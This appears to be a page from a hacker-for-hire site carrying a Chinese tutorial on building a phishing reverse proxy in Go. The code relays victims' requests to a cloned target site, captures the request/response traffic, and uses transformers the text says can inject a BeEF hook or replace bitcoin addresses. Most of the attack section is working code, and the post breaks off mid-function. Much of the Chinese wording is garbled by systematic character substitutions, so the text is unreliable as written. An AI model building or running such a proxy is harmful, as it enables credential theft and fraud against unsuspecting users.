在Go中运用反向署理进行 *** 垂钓测验

访客6年前关于黑客接单1435

关于一个进犯者来说,要想施行一次 *** 垂钓进犯,往往需求做很多的准备作业。例如建立垂钓站点,诱惑受害者上钩,捕获受害者的登录凭据等。为了防止这些冗杂的进程,本文我将教咱们运用Go自动化这些进程。
完好的代码和运用说明能够在Github检查:https://github.com/JonCooperWorks/judas

署理被用来垂钓TechOnRoad用户。你能看出它们之间的不同吗?
运用署理进行 *** 垂钓
咱们的署理需求接纳来自受害者的恳求,并在发送到方针网站之前重写它们。Go有着许多在原生层面临并发编程进行支撑的优异特性,比方Goroutines、Channels等。咱们建立了一个简略的TCP侦听器,spawn了一个新的goroutine来处理每个传入的衔接和一个goroutine worker来处理恳求和呼应。成果经过channel从恳求处理goroutine传递给worker。
// HTTPTransaction represents a complete request - response flow.
type HTTPTransaction struct {
  Request  *http.Request
  Response *http.Response
}
// PhishingProxy proxies requests between the victim and the target, queuing requests and responses for further processing.
type PhishingProxy struct {
  client               *http.Client
  targetURL            *url.URL
  responseTransformers []ResponseTransformer
}
func main() {
        // ... flag parsing and whatnot
        phishingProxy := &PhishingProxy{
    client:               client,
    targetURL:            u,
    responseTransformers: responseTransformers,
  }
  transactions := make(chan *HTTPTransaction)
  go processTransactions(transactions)
  for {
    conn, err := server.Accept()
    if err != nil {
      log.Println("Error when accepting request,", err.Error())
    }
    go phishingProxy.HandleConnection(conn, transactions)
  }
}
因为Go的优异规范库,恳求处理十分简练。http包供给ReadRequest办法,用于解析从衔接中读取数据的恳求。
defer conn.Close()
reader := bufio.NewReader(conn)
request, err := http.ReadRequest(reader)
if err != nil {
  log.Println("Error parsing request:", err.Error())
  return
}
将一切内容解析成Golang http.Request后,咱们将它传递给方针。署理需求重写来自受害者的HTTP头,以防止方针站点衔接中止,特别是主机头和URL。
request.URL.Scheme = p.targetURL.Scheme
request.URL.Host = p.targetURL.Host
request.Host = p.targetURL.Host
request.RequestURI = ""
resp, err := p.client.Do(request)
if err != nil {
  log.Println("Proxy error:", err.Error())
  return
}
在署理上运用HTTP客户端,咱们建议恳求并保证恳求成功。
一旦咱们得到呼应,咱们运用传递给署理的ResponseTransformers(后面会具体介绍)转化它,运用规范库httputil.DumpResponse函数将呼应转化为字节,并将恳求和呼应发送给goroutine worker之后处理。
for _, transformer := range p.responseTransformers {
  transformer.Transform(resp)
}
modifiedResponse, err := httputil.DumpResponse(resp, true)
if err != nil {
  log.Println("Error converting requests to bytes:", err.Error())
  return
}
_, err = conn.Write(modifiedResponse)
if err != nil {
  log.Println("Error responding to victim:", err.Error())
  return
}
transactions
咱们经过一个channel将HTTP业务传递给worker,以加速咱们的操作进程防止受害者发作某些过错。
只需指向该署理,就能完美克隆方针网站。
// ResponseTransformer modifies a response in any way we see fit, such as inserting extra JavaScript.
type ResponseTransformer interface {
  Transform(response *http.Response) error
}
ResponseTransformer答应你修正呼应。咱们能够用它来任何想做的作业,例如将自界说JavaScript注入到页面,或许将比特币地址替换成咱们自己的。这关于那些在默许署理中无法100%作业的网站也很有用。
JavaScriptInjectionTransformer运用GoQuery将HTML呼应解析到DOM树中,并运用咱们传递给transformer的URL注入脚本标签。咱们能够运用它来注入BeEF hook或绕过网站的安全防护。
// JavaScriptInjectionTransformer holds JavaScript filename for injecting into response.
type JavaScriptInjectionTransformer struct {
  javascriptURL string
}
// Transform Injects JavaScript into an HTML response.
func (j JavaScriptInjectionTransformer) Transform(response *http.Response) error {

[1] [2]  黑客接单网

相关文章

无视HTTPS建议中间人进犯

大约十年前,Firesheep制作了一个大新闻。多年来,安全人员现已了解了公共WiFi网络的损害,但直到有人创立了这个用户友爱的Firefox扩展插件之后,这个安全问题才得到了人们的重视。从那时起,网...

Web版勒索软件CTB-Locker PHP源码现身GitHub

勒索软件CTB-Locker呈现其Web演化版别,可感染网页站点。据剖析,其编码为选用PHP编写,现在源码已被保管至GitHub上。 Web版勒索软件CTB-Locker的初次呈现 就在本年西方情人节...

ARM架构上用来替代JTAG的调试协议SWD-黑客接单平台

关于嵌入式开发人员和专门进犯硬件的黑客来说,JTAG 实践上是调试和拜访微处理器寄存器的标准。该协议已运用多年,至今仍在运用,JTAG调试接口有必要运用VCC、GND电源信号,以及TMS、TCK、TD...

鱼叉式网络钓鱼攻击——一份关于攻击动机、技术和预防方法的完整指南-黑客接单平台

每天都有不计其数的鱼叉式垂钓邮件发送给全世界的受害者。 进犯有许多不同的途径,不管怎样进犯,都会对您的网络形成损伤。 所以,精确的、有针对性的进行剖析和履行是至关重要的。 在本指南中,咱们将介绍鱼叉式...

你不在意的HTTPS证书吊销机制-黑客接单平台

缘起偶刷《长安十二时辰》,午睡时,梦到我穿越到了唐朝,在长安城中的靖安司,做了一天的靖安司司丞。当徐宾遇害消失的时分我不在司内,其时的景象我不得而知。后来徐宾醒了,据他描述说“通传陆三”是暗桩,几乎致...

代码审计之Fiyo CMS事例共享

Fiyo CMS是小型的商务电话服务及移动协作东西,由一名前职业学校学生初次开发和创立的,后者其时在RPL的SMK 10三宝垄学习。 那时他的姓名不是Fiyo CMS,而是Sirion,它是Site...